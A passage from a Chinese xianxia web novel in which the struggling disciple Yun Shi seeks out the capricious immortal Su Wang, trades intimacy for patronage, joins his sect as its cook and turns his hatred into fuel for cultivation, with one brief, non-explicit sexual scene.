那个红发如火、行事恣意、毁了他家店铺、伤了他父亲、又用一颗丹药彻底扭曲了他命运的恶劣修士。 他厌恶苏妄,恐惧苏妄,视那一晚的经历为不愿触及的伤痕和耻辱。 可是……可是苏妄确确实实,只是随手扔给他一颗丹药,就改变了他的人生轨迹,让他从“毫无价值”的杂灵根,变成了至少能在测灵碑上显化“乱灵根”的“特殊存在”。尽管这改变伴随着巨大的痛苦和隐患,但比起现在这种毫无希望的停滞,那至少……是一种“改变”,一种“可能”。 如果……如果再让苏妄介入呢? 这个念头一冒出来,云实自己都打了个寒颤,心底涌起强烈的自我厌恶和恐惧。纸鸢的话言犹在耳,关于尊严,关于不被当人看……去找苏妄,等于主动将尊严踩在脚下,将自己再次置于那种被随意摆布、视若玩物的境地。 可是……尊严? 云实靠在冰冷的石头上,仰头看着灰蒙蒙的天空。几年仙门边缘的生活,早已将他那点属于凡人的、朴素的尊严磨得所剩无几。日日挣扎求存,看人眼色,承受异样目光,依赖他人怜悯……尊严,在这种境地里,似乎成了最奢侈也最无用的东西。 如果舍弃这早已摇摇欲坠的尊严,能换来一线突破的契机,能让他真正踏入修行的门槛,能让他有朝一日不再如此无力……似乎……也不是不能考虑? 苏妄或许还对他有那么点“兴趣”?虽然是那种恶劣的、玩弄的、不把人当人的兴趣。但只要有兴趣,就可能有机会。哪怕只是再给他一颗什么丹药,或者指点一句半句关于“乱”之法则的运用…… 这个念头越来越清晰,也越来越冰冷地占据了他的思绪。像溺水之人抓住最后一根稻草,哪怕那稻草满是倒刺,可能将他拖向更深的深渊。 他太想进步了。想到可以暂时抛开一切,包括那点残存的、关于“自我”和“尊严”的坚持。 夜色渐浓,寒风吹得更急。云实缓缓站起身,身体因为长时间维持一个姿势而有些僵硬,丹田处的暗红内丹,似乎感应到他心绪剧烈的动荡,不安地搏动着,散发出一阵阵混乱的燥热。 他低头看了看自己的双手,指腹上还有白日缝补时留下的细小针眼和薄茧。这双手,能修补衣物,能劈柴挑水,能小心翼翼地引动一丝微弱的灵气,却无法抓住自己的命运。 也许……是该换一种方式了。 哪怕那方式,令他作呕,令他恐惧,令他想起来就浑身冰冷。 但至少,那可能是一条……能动起来的路。 6. 【五】 想找苏妄的念头,一旦滋生,便在绝望的土壤里疯长,带着毒藤般的缠绕力,勒得云实喘不过气,却又让他病态地依赖着那一点点虚幻的、可能打破僵局的希望。 然而,希望归希望,现实是,苏妄的行踪比山间的鬼魅还要飘忽难寻。混沌派本就以行事不羁、踪迹诡秘著称,苏妄作为其中翘楚,更是神龙见首不见尾。云实一个困守在天衡宗边缘、连正式弟子都算不上的记名弟子,去哪里打听?又能向谁打听?他只能在每日枯燥的修炼和杂务间隙,望着山门外的云雾发呆,心里那点荒诞的念头,在无人知晓的角落里无声灼烧。 他没想到,苏妄会自己找上门来。 那是一个寻常得令人麻木的午后。云实被指派到宗门西侧的界碑林附近,做一些清理落叶、擦拭界碑的杂活。界碑林位于天衡宗护山大阵的边缘,再往外,便是莽莽苍苍、不受宗门完全控制的荒野。这里平时少有人来,只有风声穿过林立的古老石碑,发出呜呜的低鸣,更添几分荒凉寂寥。 云实正蹲在一块刻着“天衡止步”四个古字的青黑□□碑前,用粗布蘸着清水,机械地擦拭着碑身上凝结的露水和苔痕。他心里空荡荡的,什么也没想,或者说,刻意不去想那些令人窒息的现实。擦着擦着,手指无意识地抚过冰凉的石面,那粗糙的触感,不知怎的,让他想起了苏妄塞给他那颗丹药时,指尖同样粗糙而随意的触碰。 就在这时,一个带着戏谑笑意的声音,毫无征兆地在他身后响起:“哟,这不是我们的小云实吗?” 云实浑身一僵,手里的粗布“啪嗒”一声掉在地上。他猛地转过头,心脏在胸腔里狂跳,几乎要撞碎肋骨。 界碑旁一株虬结的老松树下,苏妄正懒洋洋地斜倚着树干,双臂环胸,那头标志性的红发在午后略显暗淡的天光下,依旧耀眼如火。他穿着一身暗红色的华丽锦袍,领口袖边绣着繁复的金色火焰纹路,与这朴拙荒凉的界碑林格格不入。几年过去,他的容貌似乎毫无变化,依旧是那张昳丽到近乎邪气的脸,眉眼飞扬,嘴角噙着一抹玩味的笑意,正上下打量着云实。 云实张了张嘴,喉咙干涩得发不出声音。他设想过无数次如果再见苏妄该如何反应,愤怒?质问?恐惧?抑或是……屈辱地乞求?可当这个人真的如此突兀地出现在眼前,那些预设的情绪却像被冻住了一般,只剩下一片冰冷的空白和尖锐的耳鸣。 “怎么,不认识了?”苏妄挑了挑眉,慢悠悠地走过来,靴子踩在厚厚的落叶上,发出簌簌的轻响。他在云实面前停下,微微俯身,红眸盯着云实苍白的脸,“让我看看……嗯,脸色不太好,灵力波动混乱虚弱,还带着一股子……滞涩味儿。看来这几年,我们天衡宗的名门正道,没把你教好啊。” 他的语气带着毫不掩饰的嘲弄和一丝……兴味?仿佛在观察一件自己多年前随手丢弃、如今却发现发生了有趣变化的旧物。 云实终于找回了自己的声音,嘶哑得不像他自己的:“托你的福……我现在,上也不是,下也不是。”他说的是实话,没有愤怒,也没有哀怨,只是一种陈述,带着深深的疲惫和认命。 苏妄似乎被这话逗乐了,低低地笑了起来,笑声在空旷的界碑林里回荡,显得有些诡异。“看来你过得不太如意。不过……”他饶有兴致地打量着云实那双死寂中又隐隐燃着点什么的眼睛,“你好像还挺想见到我的?” 想见他?云实心里一片冰火交织。他想见这个毁了他平静生活、带给他无尽羞辱和痛苦的人吗?不,他恨不得永远不要再见到这张脸。可与此同时,另一个冰冷的声音在他心底响起:是苏妄,用一颗丹药强行改变了他的体质,让他有了“灵根”显化的可能;是苏妄,某种意义上“推”着他,走上了这条与仙门产生交集的、痛苦而荒谬的路。在他自己所有的努力都宣告无效、前路断绝的此刻,苏妄,这个始作俑者,竟成了他视野里唯一可能的、能“推”着他继续往前走的人。 这个认知让他感到一阵强烈的自我厌恶和晕眩。但绝望和那份对“前进”近乎病态的渴望,压倒了一切。 他想通了。 既然苏妄此刻出现在这里,似乎还对他有那么一丝“兴趣”……那他还有什么好犹豫、好怨怼的呢? 纸鸢的话言犹在耳,可尊严能让他突破吗?能让他摆脱这不上不下的绝境吗?努力?他努力了这么多年,换来的是什么?是原地踏步,是旁人的超越和遗忘,是越来越紧的、快要将他彻底挤出这个世界的无形压力。 如果努力没用,为什么还要坚持那点可笑的、早已破碎的坚持? 如果……如果暂时放下一切,包括那残存的自尊,能借助苏妄获得力量,哪怕只是一点点突破的契机……那么,等有了力量之后,再去谈“尊严”,再去想“初心”,是不是也不晚? 总好过现在这样,悬在半空,不上不下,眼睁睁看着自己被彻底抛弃,那才是最可怕的。 这个念头像一道冰冷而清晰的闪电,劈开了他心中最后那点迷惘和抗拒。他看着苏妄那双带着玩味审视的红眸,深吸一口气,原本死寂的眼神里,陡然燃起了一种近乎疯狂的、孤注一掷的决绝。 “是。”云实的声音依旧沙哑,却异常清晰,甚至带上了一丝他自己都未察觉的、扭曲的平静,“我想见你。因为只有你……能让我‘动’起来。” 苏妄脸上的笑容微微一滞,随即变得更深,也更令人捉摸不透。他直起身,饶有兴致地摸着下巴:“哦?有意思。几年不见,小云实你……变了不少啊。不再是那个只会瞪着眼睛、咬牙硬撑的小可怜了。”他顿了顿,红眸中光芒流转,“看来,天衡宗这潭死水,也不是完全没用,至少……把你泡得有点意思了。” 他转身,朝着界碑林更深处、那雾气渐浓、光线愈发晦暗的方向走去,头也不回地丢下一句:“跟我来。” 云实站在原地,看着苏妄那暗红色的、仿佛要融入前方灰暗雾气中的背影,心脏在胸腔里沉重地擂动。 身体的本能在尖叫着警告,让他转身逃走,离这个危险的源头越远越好。那些不堪的记忆碎片,随着苏妄的出现,再次翻涌上来,带着冰冷的触感和屈辱的钝痛。 可是……回去?回到那间冰冷的弟子房,继续日复一日的徒劳挣扎,等待着被扫地出门的那一天? 不。 他受够了。 脚步起初有些虚浮,带着迟疑。但很快,他便强迫自己加快了速度,几乎是小跑着,追向那片愈发浓重的、未知的雾气,以及雾气中那个模糊却不容错辨的红色背影。 苏妄带着云实,穿过界碑林边缘那片越来越浓的、仿佛有实质的灰白雾气。脚下的土地变得松软泥泞,四周奇形怪状的树木枝桠扭曲伸展,像黑暗中窥伺的鬼爪。空气里弥漫着一股潮湿的腐殖质气息,夹杂着若有若无的、令人不安的腥气。云实紧紧跟在苏妄身后,心脏在胸腔里擂鼓,一半是深入未知险地的恐惧,另一半却是……一种近乎自毁的、破釜沉舟般的亢奋。 不知走了多久,雾气略微稀薄,眼前出现一小片林间空地。空地中央,趴伏着一头形似巨狼、却浑身覆盖着青黑色鳞甲、口中滴落着腐蚀性涎水的怪物。它似乎正在假寐,粗重的呼吸喷出带着硫磺味的热气,一双紧闭的眼皮下,隐约有暗红色的凶光流转。 “喏,”苏妄停下脚步,用下巴指了指那怪物,语气轻松得像在介绍路边的野狗,“蚀甲狼,算是这附近比较常见的玩意儿。修为嘛,大概相当于你们天衡宗那些刚入锚定期的小弟子们,需要费点手脚才能收拾掉的档次。” 他偏过头,红眸带着毫不掩饰的戏谑,看向脸色发白的云实:“虽然你离‘锚定期’还差得远,连‘感气’都时灵时不灵,不过……试试?让我看看,这几年天衡宗都教了你些什么‘正道’法门。” 云实看着那头体型几乎抵得上两个成年男子的凶兽,感受着它身上散发出的、远超自己那点微末混乱灵力的暴戾气息,喉咙发干。锚定期师兄师姐才能对付的怪物?让他一个连稳定引气都做不到的人去试? 这分明是苏妄的又一个恶劣玩笑,或者……一场冷酷的测试。 “我……”云实想说自己不行,绝对打不过。可话到嘴边,又咽了回去。他跟着苏妄来到这里,不就是为了寻求“突破”吗?哪怕这突破的方式荒谬而危险。退缩?那他之前所有的心理建设,那抛弃尊严换来的“机会”,岂不成了笑话? 他咬了咬牙,不再看苏妄,目光死死锁住那头逐渐被惊醒、抬起狰狞头颅的蚀甲狼。体内那颗暗红色的内丹,似乎也感应到外界的威胁和云实剧烈的心绪波动,开始不安地搏动,散发出混乱的燥热。 没有武器,没有符箓,只有这几年学的那点粗浅体术和更粗浅的、时灵时不灵的“丙火朝阳”引气法门。云实深吸一口气,强迫自己回忆天蕴师姐教导的发力技巧和流衍师兄强调的灵力稳定,摆出了一个防御的起手式。 蚀甲狼完全苏醒了,暗红的兽瞳锁定云实,喉咙里发出低沉的咆哮,后肢一蹬,庞大的身躯裹挟着腥风扑了过来! 云实狼狈地向侧方翻滚,险险避开那足以开碑裂石的利爪,原先站立的地面被刨出几道深深的沟壑,溅起的泥点带着腐蚀性的灼热。他刚起身,蚀甲狼的尾巴如同钢鞭般横扫而至,云实勉强架臂格挡,一股巨力传来,整个人被抽得踉跄后退,手臂上火辣辣地疼,衣袖瞬间被腐蚀出破洞。 完全不是对手。力量、速度、防御、攻击手段……全方位的碾压。云实只能凭着一点点直觉和这些年干粗活练出的还算灵活的身手,在蚀甲狼狂暴的攻击下狼狈闪躲,如同暴风雨中的一叶扁舟,随时可能倾覆。他尝试调动灵力,想引动一丝“丙火”之气干扰怪物,可心神一乱,体内那暗红内丹便是一阵躁动,不仅没引出火气,反而引得自身气血一阵翻腾,动作更是迟滞。 “砰!”又是一爪擦过肩头,带飞一片布料和皮肉,鲜血立刻涌出,混杂着蚀甲狼涎水的腐蚀,传来钻心的剧痛。云实闷哼一声,脚下发软,几乎摔倒。 蚀甲狼显然失去了耐心,张开血盆大口,一股暗绿色的、散发着恶臭的毒雾喷涌而出,瞬间笼罩了云实所在的小片区域! 躲不开了!云实瞳孔骤缩,死亡的阴影清晰压下。他最后徒劳地试图运转灵力护体,可丹田处那内丹却在这危急关头骤然沉寂下去,连同他所有微弱的感应一起,仿佛瞬间抽空。 就在毒雾即将及体的刹那,一道赤红色的火线凭空出现,如同灵蛇般在云实周身一绕,那暗绿毒雾遇到火线,发出“嗤嗤”的灼烧声,迅速消融溃散。同时,一股柔和却无可抗拒的力量卷住云实的腰,将他猛地向后拉去,跌入一个带着炽热气息的怀抱。 苏妄接住了他。 “啧,真难看。”苏妄的声音在头顶响起,带着毫不掩饰的失望和嘲弄,“躲得像只没头苍蝇,反击软绵绵,连最基本的护身灵力都聚不起来。天衡宗就教你这些?”他松开手,云实踉跄着站稳,肩头的伤口还在流血,脸色因失血和刚才的惊险而惨白如纸,混合着泥污和汗水,狼狈不堪。 蚀甲狼见到苏妄,兽瞳中明显闪过一丝畏惧,低吼着后退了几步,却又不甘心就此退走,在远处逡巡。 苏妄看都没看那凶兽,红眸盯着云实,语气陡然转冷,“你体内那颗乱丹呢?摆设吗?刚才那种时候,为什么不用乱灵根的力量?哪怕只是引动一丝混乱,干扰它的攻击节奏,也不至于如此不堪!” 用乱灵根?云实茫然地看向苏妄。他一直被告诫要压制、要导正这颗内丹,修炼正统的火灵根。用它的力量?怎么用?那狂暴混乱、难以掌控的力量,用来对敌? “我……”云实张了张嘴,“我没学过……怎么用‘乱’灵根的法门。宗门教的,是火灵根……” 苏妄像是听到了天大的笑话,嗤笑一声,打断他:“法门?规矩?那些条条框框就是用来束缚庸才的!力量就在你身体里,蠢货!感受它!引导它!哪怕只是最粗暴地释放出来!难道还要我手把手教你怎么呼吸吗?” 云实看着苏妄那双仿佛燃烧着火焰的红眸,又感受了一下丹田处那颗因为刚才濒死体验和苏妄出现而重新开始躁动、散发着混乱燥热的内丹。一个疯狂的念头冒了出来。 “再……再给我一次机会。”云实听到自己的声音说,嘶哑,却带着一种豁出去的决绝,“我……试试。” 苏妄挑了挑眉,“行啊。”他打了个响指,远处那头蚀甲狼仿佛受到了什么指令,低吼一声,夹着尾巴迅速钻入了密林深处。片刻后,另一头体型稍小、但动作更为灵敏、爪牙闪烁着幽蓝寒光的影豹,悄无声息地从雾霭中踱出,冰冷的兽瞳锁定了云实。 这一次,云实没有立刻摆出防御姿势。他闭上眼睛,强行压下对面前凶兽的恐惧,将全部心神沉入体内。不再去想什么“丙火朝阳”,不再去遵循天衡宗教导的平稳运行路径。他直接去“触碰”那颗暗红色的、躁动不安的内丹。 混乱。燥热。暴烈。不受控。 这些感受如此清晰。他不再试图压制或安抚,而是想象自己变成了一块磁石,拼命吸引、聚拢这些混乱的力量。很痛,经脉仿佛要被撕裂,丹田处传来灼烧般的胀痛。但他咬牙忍着,将这股强行聚拢起来的、驳杂而暴烈的力量,沿着手臂的经脉,笨拙地、毫无技巧地向前“推”去! 没有法诀手势,没有属性分化,只有一团模糊的、暗红色的、带着紊乱波动和灼热气息的灵力团,从他掌心勉强涌出,歪歪斜斜地砸向扑来的影豹。 那灵力团看起来毫不起眼,甚至有些涣散。影豹似乎也没太在意,挥爪想将其拍散。然而,当它的利爪接触到那团暗红灵力的瞬间—— “嗤啦!”一声怪响,影豹爪子上那幽蓝的寒光骤然紊乱、明灭不定,仿佛被什么东西干扰了灵力运转。同时,那暗红灵力中蕴含的混乱燥热气息,也侵入了影豹的体内,让它发出一声痛苦的嘶吼,扑击的动作明显一滞,出现了瞬间的僵硬和失控! 有效!虽然效果微弱,持续时间极短,但确实干扰了这头凶兽! 云实心中猛地一跳,一股混杂着难以置信和微弱喜悦的情绪涌上。他甚至没顾得上躲避影豹后续因为受扰而更显狂乱的攻击,肩膀又添了一道血口,却浑然不觉,只是死死盯着自己刚才放出灵力的手掌。 他能用!这颗人造内丹的力量,他真的能用!哪怕方式笨拙,效果不佳,但这确确实实是……属于修炼者的力量! 难道……自己也算是有天赋的?哪怕这天赋建立在一个人造的、充满隐患的基础上? “高兴得太早了,小子。”苏妄凉凉的声音打断了他的恍惚。影豹已经从短暂的混乱中恢复,攻势更猛。云实连忙收敛心神,一边狼狈躲闪,一边再次尝试聚集、释放那混乱的灵力。这一次,他下意识地调动了之前修炼丙火朝阳时,引导热灵气的那点微薄经验,试图让释放出的灵力更集中、更具冲击力。 效果……似乎好了一点点?那暗红的灵力团颜色更深了些,撞在影豹身上时,引发的灵力紊乱范围稍大,持续时间也略长那么一瞬。但代价是,云实感觉丹田处的灼痛和经脉的撕裂感也更强了,仿佛那内丹被他的举动进一步刺激,反噬之力也在加剧。 就在他快要支撑不住时,苏妄再次出手,一道更凝实的火线轻易逼退了影豹,将其驱走。 云实脱力般单膝跪地,大口喘息,汗如雨下,身上添了好几处伤口,火辣辣地疼。但那双眼睛,却亮得惊人,死死盯着地面,里面翻涌着复杂的情绪——痛楚、疲惫,但更多的是那一丝刚刚被点燃的、名为“可能”的火苗。 苏妄走到他面前,蹲下身,红眸近距离地审视着他,那目光仿佛能穿透皮肉,直视他体内灵力的每一丝变化。看了半晌,苏妄忽然笑了,不是惯常的戏谑嘲弄,而是一种……带着点意外和玩味的笑。 “虽然我很确信,”苏妄慢悠悠地说,指尖点了点云实的丹田位置,“你刚才那几下,能放出点像样的混乱灵力,起码有一半是因为我站在这儿,无形中影响了你体内这颗‘小东西’,给它临时注入了点儿‘活力’……不过,第一次尝试,就能做到这个程度,勉强也算……值得称道?” 他站起身,居高临下地看着云实,语气忽然变得有些轻佻而意味深长:“罢了,看在你这么‘努力’取悦我的份上。贵为‘仙尊’,破例收个有意思的小弟,好像……也无所谓?” 仙尊?云实猛地抬头。流衍师兄以前闲聊时提过,修仙界除了各大正统宗门,还有一些特立独行、难以归类的势力和人物。其中有一个叫“大自在天”的地方,传闻是修炼“序乱”法则者的聚集地,里面鱼龙混杂,行事亦正亦邪,结构松散,更像是个同好交流会,没有严格的师徒辈分,各干各的居多。但“大自在天”据说确实有“仙尊”级别的存在坐镇,只是那位仙尊神秘莫测,喜好易容,游戏人间…… 苏妄……是“大自在天”的仙尊?那个传言中喜欢到处跑的仙尊? 这个猜测让云实心头剧震。但旋即,一股更深的、混合着荒诞和麻木的情绪涌了上来。是又如何?不是又如何?对他而言,苏妄是仙尊还是魔头,有什么区别吗?他早已是苏妄随手拨弄的一枚棋子,如今更是主动将牵引自己的线交到了对方手中。 是什么身份,还重要吗? 不重要了。 云实看着苏妄那张昳丽却充满危险气息的脸,脑海中不受控制地闪过纸鸢塞给他的那些荒诞画本里的场景。那些故事里,弱者为了依附强者,为了获得力量或庇护,往往会采取一些……非常手段。 在苏妄略带探究的目光中,云实摇摇晃晃地站了起来。他忽略掉全身的伤痛和虚弱,忽略掉心底那最后一点微弱的、名为羞耻的刺痛,向前走了一步,贴近苏妄。 然后,在苏妄有些错愕的注视下,云实踮起脚,仰起头,生涩而决绝地,将自己的嘴唇,印上了苏妄的。 触感温热,带着苏妄身上特有的、混杂着炽热灵力和一丝酒气的味道。云实闭着眼,身体僵硬,心跳如雷,大脑一片空白,只剩下一个冰冷而清晰的念头:做吧,像画本里那些攀附强者的人一样。把一切都押上,赌苏妄那点恶劣的兴趣,能变成他逆天改命的阶梯。 这个吻短暂得如同幻觉。 苏妄显然完全没料到云实会有此举动,整个人都蒙了一瞬。随即,他猛地推开云实,不是愤怒,而是……一种极其古怪的、仿佛看到了什么难以置信之事的表情。他盯着云实看了好几秒,然后,毫无预兆地,爆发出了一阵惊天动地的大笑! “哈哈哈哈哈……!”苏妄笑得前仰后合,眼泪都快出来了,仿佛遇到了世间最有趣的事情。“你……你小子……哈哈哈……太有意思了!真的……太有意思了!” 他一边笑,一边用手指着云实,红眸里闪烁着奇异的光芒:“我还以为你会哭哭啼啼求我救你,或者咬牙切齿恨我入骨……结果你……你来这么一出?嗯?” 云实被他推开,踉跄了一下才站稳,他抬眼看着笑得上气不接下气的苏妄,声音平静得近乎诡异。 “是啊。我把家底……都交给你了。”他顿了顿,一字一句道,“要是你还看得上我这点‘家底’……我可真要靠你,逆天改命了。” 苏妄的笑声渐渐止歇,他抹了抹眼角笑出来的湿意,饶有兴致地打量着云实,像是第一次真正认识他。“靠我?逆天改命?”他重复着这两个词,嘴角勾起一抹危险的弧度,“你就这么笃定,我会帮你?不怕我玩腻了,或者觉得你没意思了,随手就把你扔了,甚至……杀了?” 云实迎着他的目光,眼神里没有恐惧,只有一种近乎冷酷的清醒:“我猜……你的性格。”他慢慢说道,“如果我做出常规的乞求、哭诉、怨恨……那些你早就看腻了的反应,那你可能真的会立刻觉得无趣,转头就走,甚至杀了我取乐。” “但像刚才那样……出乎你意料,让你觉得有意思……你反而,可能会多留一会儿,多看几眼,看看这个‘有意思’的玩意儿,接下来还会做出什么更‘有意思’的事情。” “毕竟,”他最后补充道,声音低了下去,却异常清晰,“对你来说,无聊,才是最大的敌人,不是吗?” 林间空地一片寂静,只有风穿过扭曲树枝的呜咽。影豹早已不知遁往何处,雾气似乎又浓重了些。 苏妄脸上的笑容彻底消失了,他静静地看着云实,红眸深不见底,里面翻涌着云实看不懂的情绪——惊讶、玩味、审视。 良久,苏妄才轻轻“啧”了一声,转身,再次朝着雾气更深处走去。 “跟上。”他头也不回地说,语气听不出喜怒,“让我看看,你这个‘有意思’的小玩意儿,还能给我带来多少……‘惊喜’。” …… 苏妄带着云实穿过那片灰雾,踏入大自在天的地界时,引起的轰动远超云实的想象。 他们现身于一处异常宽阔的黑色玄石广场,地面光洁如镜,却隐隐流动着暗红色的、如同血脉经络般的细微纹路。四周并非规整的殿宇,而是一座座或高耸如剑、或盘旋如蟒、或仿佛巨大活物蛰伏般的奇异建筑,材质在灰暗天光下流转着金属、玉石与骨质交杂的冰冷光泽。 往来之人影绰绰,气息大多晦涩深沉,带着毫不掩饰的锐意、探究或纯粹的漠然。衣着或极尽华丽妖异,或简陋如苦修,共同点是皆与周遭环境一样,透着一种“非正统”的异质感与力量上的危险气息。 当那一头标志性的红发出现在广场上,几乎所有目光都在瞬间聚焦过来。更准确地说,是聚焦在苏妄身后那个穿着天衡宗低阶弟子服饰、脸色苍白、身上带伤、明显与周遭环境格格不入的少年身上。惊讶的低语如同水波般荡开: “是尊上回来了……” “后面那是谁?生面孔?” “气息好生古怪……” “看衣着,像是天衡宗的人?尊上怎会带个天衡宗的小弟子回来?” 那些目光有好奇,有审视,有玩味,唯独没有云实预想中的轻蔑或敌意,但也绝谈不上友善。他感觉自己像一件被突然摆上展台的奇物,供人评头论足。他垂下眼,压下心头翻涌的不适和一丝难堪,强迫自己挺直背脊,脸上甚至试图挤出一个平静的、近乎麻木的表情——这是他这些年在类似境地里学会的、唯一的自我保护。 苏妄对此视若无睹,或者说,全然不在意。他仿佛只是随手拎了件有趣的东西回家,径直往前走,所过之处,人群自然分开,无论是气息深不可测的长者,还是锐气勃发的年轻弟子,皆微微颔首致意,口称“尊上”或“仙尊”,态度恭敬。 走到广场中央一座最为高大的暗红色主殿前,苏妄停下脚步,转过身,面对渐渐聚拢过来的、神色各异的门人弟子,唇角一勾,声音不大,却清晰地传遍全场: “都瞧见了?听好了,”他随手将云实往前带了半步,动作自然得像展示一件所有物,“这小子,叫云实。以后,就是咱们大自在天的——”他故意顿了顿,红眸扫过众人好奇的脸,吐出两个字,“厨子。” 人群中响起几声压抑的轻笑和更多的窃窃私语。厨子?仙尊亲自带回来个……厨子? 云实站在苏妄身侧,听着那两个字,心中竟奇异地毫无波澜。一路上,他早已在心里揣测了无数种苏妄可能安置他的身份:仆役、实验品、玩物……厨子这个选项,他甚至也想到过。毕竟,这是他为数不多还能做得来的事情,也是苏妄最初在栖霞镇见到他时,他本要去天衡宗做的活计。兜兜转转,仿佛又回到了原点,只是换了个地方,换了个主人。 也好。厨子至少是个明确的职位,有具体的事情可做,比当一个不明不白的所有物要强。至于天衡宗记名弟子的身份……从他跟着苏妄踏出界碑林的那一刻起,恐怕就已经彻底告吹了。流衍师兄会怎么想?天蕴师姐呢?霁雪仙尊大概只会觉得少了个麻烦吧。一丝微弱的刺痛划过心底,但很快被更深的麻木覆盖。 苏妄宣布完,似乎就对这个“介绍仪式”失去了兴趣,挥挥手遣散众人,便领着云实离开了主殿广场。他没有带云实去什么偏僻角落,而是径直来到一片相对 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云实抬眼看着苏妄,他向前走了一步,靠近苏妄,声音压得很低,却清晰无比:“我的‘家底’,上次……交得可能不太清楚。”他顿了顿,视线扫过苏妄线条优美的下颌,复又对上那双红眸,“今晚,需要我再‘交’一次吗?或许……能更清楚些。” 这话说得直白到近乎露骨,甚至带着点刻意迎合的卑劣。 苏妄明显愣了一下,随即,那双红眸中骤然迸发出一种极其明亮、仿佛发现了什么绝妙有趣之物的光彩。他上下打量着云实,像是第一次真正认识这个看似温顺寡言的少年。 苏妄短促地笑了一声,伸手,用指尖挑起云实的下巴,力道不重,却带着不容置疑的掌控感。 “好啊,今晚。我等着看,你的‘家底’,到底有多厚。” 是夜,云实刚涂抹完药膏,运起那点微薄的、带着乱意的灵力将药力化开,肩背和手臂的伤口传来清凉舒适的感觉,正在迅速愈合。小屋的门被无声推开,苏妄走了进来,身上带着夜风的微凉和水汽,似乎刚沐浴过,换了一身宽松的暗红丝袍,赤发半干,随意披散。 没有多余的话,苏妄走到榻边坐下,好整以暇地看着云实,红眸在昏黄的灯光下显得深邃难明。 云实压下所有翻腾的情绪,走到苏妄面前。他没有再像第一次那样僵硬等待,而是主动伸出手,解开了苏妄丝袍的系带。动作生涩,甚至笨拙,但他做得很认真,仿佛在完成一项至关重要的任务。 苏妄任由他动作,只是目光一直落在他脸上,观察着他每一丝细微的表情变化。当云实指尖触及他胸膛温热的皮肤时,苏妄忽然开口,声音低沉,带着一丝玩味:“不怕了?” 云实动作一顿,抬起眼,看着近在咫尺的这张俊美到近乎邪气的脸,摇了摇头,声音有些哑:“我想通了。既然选了这条路,总要拿出点诚意。” 苏妄笑了,这次的笑容里少了几分惯有的嘲弄,多了些难以言喻的兴味。他伸手,握住云实微凉的手腕,将人拉近。 “诚意?”他重复着这个词,指尖拂过云实颈侧跳动的脉搏,“那我就好好看看,你的‘诚意’。” 这一次,与界碑林外那仓促混乱的一晚截然不同。云实的生涩和努力迎合似乎取悦了苏妄,他的耐心显得出奇的好,甚至称得上温柔——如果这个词能用在这个肆意妄为的仙尊身上的话。他会引导,会停顿观察云实的反应,在云实因旧伤或不适而微微蹙眉时,会渡入一丝温和的灵力抚平那点细微的痛楚。整个过程,苏妄的目光很少离开云实的脸,那专注的眼神,仿佛在欣赏一件正在按照他心意逐渐变化的、有趣的藏品。 事后,苏妄并未立刻离开。他靠在榻上,看着云实在一旁沉默地整理衣物,忽然道:“在这里,没人会限制你什么。膳堂的活,做不做,怎么做,随你。但既然挂着名,至少别让跟着我的人饿死。”他语气随意,“想修炼,后山有‘砺心台’,什么时候都能去。遇到不懂的……”他顿了顿,红眸微眯,“可以来问我。当然,看心情。” 云实系衣带的手停了一下,低低应了声:“是,尊上。” 苏妄似乎对他的顺从皱了皱眉,又道:“大自在天只修‘序乱’。‘序’是结构、规律、束缚;‘乱’是混沌、变化、突破。两者相生相克,并非一味求乱。你体内那颗小东西,是‘乱’的种子,但能在你那种均匀驳杂的底子上存住,本身就有‘序’的影子。好好体会。” 说完这些,他便起身离开了,留下云实一人在逐渐冷却的空气中。 接下来的日子,云实便在大自在天安顿下来。他的生活似乎真的“有序”了起来:每日清晨起身,处理膳堂事务——其实活计很轻松,大自在天的弟子们大多已能辟谷,或自行解决饮食,膳堂更多是象征性和为少数需要满足口腹之欲或处理特殊灵食的人准备。云实只需要定时备好一些基础的、蕴含温和灵气的饭食即可,其余时间皆可自由支配。 他便将大部分时间投入修炼。大自在天的氛围确实自由,没有固定的课表,但“砺心台”上每日都有弟子自发聚集,切磋、论道、演练法术。云实起初只是远远看着,后来渐渐靠近,默默观察。他发现这里虽然人人个性鲜明,修炼路数各异,但并非毫无章法。对“序”与“乱”的理解和应用,构成了所有修炼的核心。有人追求在绝对混沌中建立自己的秩序,有人试图打破一切固有结构寻求无限可能,也有人徘徊在两者之间,寻找那个动态的平衡点。 他也听到了更多关于苏妄的传闻。这位年轻的仙尊,实力深不可测,行事恣意却并非毫无底线。他对门人弟子颇为放任,只要不触犯几条核心门规(比如不得无端屠戮凡人、不得背叛宗门等),几乎百无禁忌。他确实有过不少情人,男女皆有,且据说待人都算不错,给予资源指点从不吝啬,但也从无长性,兴致来了便在一起,淡了便好聚好散,颇有几分“万花丛中过,片叶不沾身”的意味。没人说得清他对谁真正特别过。 云实听着,心里不知道作何感想。苏妄对他那点“兴趣”,大概也源于他那份清醒的献祭罢了。 他开始尝试真正运用那颗乱丹的力量。按照苏妄那晚模糊的提示,他不再将其视为必须压制或驱除的异物,而是当作自身力量的一部分,尽管它狂暴、混乱、难以掌控。修炼时,他不再追求天衡宗那套平稳有序的引气法门,而是主动去感知、引导那股混乱燥热,尝试在无序中寻找一丝自己能勉强把握的序。 进步缓慢,但确实存在。他发现自己对那暗红灵力的掌控,比之前强行修炼丙火朝阳时要顺畅一丝。尤其是在与苏妄有过接触之后,他体内那颗内丹都会变得格外活跃,那股恨意混杂着不甘、屈辱和一丝扭曲的依赖,会异常清晰地涌上来,而当他将这股炽烈情绪倾注到灵力运转中时,释放出的力量竟会陡然增强。 恨。 云实逐渐明晰了这个字眼。不是针对某件具体的事,而是对苏妄这个存在本身,对那个轻易拨弄他命运、将他拖入这般境地的仙尊;更是对这整个看似有序、实则对像他这样的凡人充满不公的世道。在界碑林外击杀影豹时,他唯一的念头就是在苏妄面前证明自己“有用”。如今在大自在天,每当他修炼受阻,心浮气躁时,只要想起苏妄那张带着玩味笑意的脸,想起他那理所当然的掌控姿态,那股冰冷的恨意便会翻涌而上,反而让他心神诡异地凝聚,内丹的响应也愈发强烈。 这恨意成了他修炼的捷径,成了点燃那颗人造内丹的最佳燃料。它纯粹、浓烈、源源不断。 至于其他,云实有时会怔怔地想,若是抽掉苏妄这个最大也最痛的变数,自己的生活该是什么模样。大概仍在青石镇,守着“云锦记”的寸尺柜台,呼吸着染料与樟木的气味,为下一季的雨水会不会让布料受潮而发愁。那是一种他曾经熟悉、如今却隔着一层厚厚雾霭的“正常”。 